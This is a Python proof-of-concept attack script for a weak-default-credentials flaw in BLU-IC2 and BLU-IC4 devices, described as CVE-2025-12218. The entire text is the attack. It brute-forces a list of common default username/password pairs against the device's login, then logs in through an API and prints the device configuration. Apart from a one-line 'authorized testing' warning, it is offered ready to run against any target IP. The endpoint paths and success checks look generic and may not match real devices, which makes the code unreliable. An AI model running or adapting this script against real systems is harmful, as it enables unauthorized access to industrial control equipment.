CVE-2025-12218

#!/usr/bin/env python3 """ CVE-2025-12218 PoC - BLU-IC2/BLU-IC4 Default Credentials This PoC demonstrates the weak default credentials vulnerability in BLU-IC2 and BLU-IC4 devices. WARNING: Only use for authorized security testing. """ import requests import sys from requests.auth import HTTPBasicAuth def check_default_credentials(target_ip, port=443): """ Check if target device has default credentials. Common default credentials for industrial control devices. """ # Default credential pairs to test default_creds = [ ('admin', 'admin'), ('admin', 'password'), ('admin', '12345'), ('admin', 'admin123'), ('user', 'user'), ('root', 'root'), ('root', 'password'), ('administrator', 'administrator'), ('blu', 'blu'), ('bluic', 'bluic'), ('', '') ] base_url = f"https://{target_ip}:{port}" for username, password in default_creds: try: # Try to access the login endpoint or protected resource response = requests.get( f"{base_url}/login", auth=HTTPBasicAuth(username, password), verify=False, timeout=10 ) # Check if authentication was successful if response.status_code == 200 and 'dashboard' in response.text.lower(): print(f"[!] SUCCESS: Default credentials found!") print(f" Username: {username}") print(f" Password: {password}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {target_ip}: {e}") print("[-] No default credentials found or target not vulnerable") return False def exploit_weak_credentials(target_ip, port=443): """ Exploit weak default credentials to gain unauthorized access. """ print(f"[*] Attempting to exploit CVE-2025-12218 on {target_ip}") # Try common default credentials default_creds = [ ('admin', 'admin'), ('blu', 'blu') ] session = requests.Session() for username, password in default_creds: try: # Attempt login login_data = { 'username': username, 'password': password } response = session.post( f"https://{target_ip}:{port}/api/login", json=login_data, verify=False, timeout=10 ) if response.status_code == 200: result = response.json() if result.get('status') == 'success' or result.get('token'): print(f"[!] Access granted with credentials: {username}:{password}") # Try to access sensitive information config_response = session.get( f"https://{target_ip}:{port}/api/config", verify=False ) if config_response.status_code == 200: print("[!] Successfully accessed device configuration") print(f"[+] Configuration data: {config_response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12218.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f"[*] CVE-2025-12218 PoC - BLU-IC2/BLU-IC4 Weak Default Credentials\n") # Check for vulnerability is_vulnerable = check_default_credentials(target, port) if is_vulnerable: print("\n[*] Attempting exploitation...") exploit_weak_credentials(target, port) else: print("\n[-] Target does not appear to be vulnerable")

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